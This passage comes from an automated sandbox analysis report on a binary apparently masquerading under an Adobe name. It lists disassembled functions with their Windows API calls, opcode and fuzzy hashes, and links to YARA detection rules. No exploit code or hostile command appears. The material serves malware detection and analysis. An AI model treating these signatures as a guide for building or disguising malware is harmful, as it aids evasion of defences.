                                                                                                                              • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                              • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                                                              • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                              • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                                                              Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AttributesFile
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3188754299-0
                                                                                                                              • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                              • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                                                              • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                              • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                                                              Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                              • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                                                              • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                              • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                                                              Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 004095FC
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                                                                • Part of subcall function 004091B8: memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                                • Part of subcall function 004091B8: memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3655998216-0
                                                                                                                              • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                              • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                                                              • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                              • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                                                              Function 00415B2C Relevance: 1.3, APIs: 1, Instructions: 62COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                                                              • Instruction ID: 56811e6a31311fae19106e74f332fd481794b0d175407c03959d21f12539f693
                                                                                                                              • Opcode Fuzzy Hash: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                                                              • Instruction Fuzzy Hash: 4201E572109E01E6DB1029278C81AF766899FC0399F14016FF94886281EEA8EEC542AE
                                                                                                                              Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 00445426
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1828521557-0
                                                                                                                              • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                              • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                                                              • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                              • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                                                              Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                                • Part of subcall function 004062A6: SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                                                              • memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,?,00000000,0040627C), ref: 00406942
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??2@FilePointermemcpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 609303285-0
                                                                                                                              • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                              • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                                                                                                                              • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                              • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                                                                                                                              Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _wcsicmp
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2081463915-0
                                                                                                                              • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                              • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                                                              • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                              • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                                                              Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF,00406224,00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF), ref: 0040629C
                                                                                                                                • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                              • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                                                                • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseCreateErrorHandleLastRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2136311172-0
                                                                                                                              • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                              • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                                                              • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                              • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                                                              Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??2@??3@
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1936579350-0
                                                                                                                              • Opcode ID: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                              • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                                                              • Opcode Fuzzy Hash: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                              • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                                                              Function 0040B633 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1294909896-0
                                                                                                                              • Opcode ID: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                              • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                                                              • Opcode Fuzzy Hash: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                              • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                                                              Function 0040AA04 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1294909896-0
                                                                                                                              • Opcode ID: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                              • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                                                              • Opcode Fuzzy Hash: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                              • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                                                                                                                              Function 00415304 Relevance: 1.3, APIs: 1, Instructions: 6COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1294909896-0
                                                                                                                              • Opcode ID: c64955702a5dc36c53a796a23ab56cc8adc6c768dfa77ba71ac51c435adf9ecd
                                                                                                                              • Instruction ID: e7ff0dbf640816315c9486a8db62c76896ac9b8339bf6d895034c27267ad2de3
                                                                                                                              • Opcode Fuzzy Hash: c64955702a5dc36c53a796a23ab56cc8adc6c768dfa77ba71ac51c435adf9ecd
                                                                                                                              • Instruction Fuzzy Hash: A5A022A200820023CC00AB3CCC02A0A33880EE323EB320B0EB032C20C2CF38C830B00E

                                                                                                                              Non-executed Functions

                                                                                                                              Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                                                              • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                                                              • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                                                              • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                                                              • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                                                              • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                                                              • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                                                              • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                                                              • GetDC.USER32 ref: 004140E3
                                                                                                                              • wcslen.MSVCRT ref: 00414123
                                                                                                                              • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                                                              • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                                                              • _snwprintf.MSVCRT ref: 00414244
                                                                                                                              • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                                                              • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                                                              • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                                                              • GetWindowRect.USER32(00000000,?), ref: 004142BC
                                                                                                                              • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                                                              • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                                                              • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                                                              • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                                                              • String ID: %s:$EDIT$STATIC
                                                                                                                              • API String ID: 2080319088-3046471546
                                                                                                                              • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                              • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                                                              • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                              • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                                                              Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                                                              • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                                                              • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                                                              • wcscpy.MSVCRT ref: 0040A0D9
                                                                                                                              • wcscat.MSVCRT ref: 0040A0E6
                                                                                                                              • wcscat.MSVCRT ref: 0040A0F5
                                                                                                                              • wcscpy.MSVCRT ref: 0040A107
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1331804452-0
                                                                                                                              • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                              • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                                                              • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                              • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A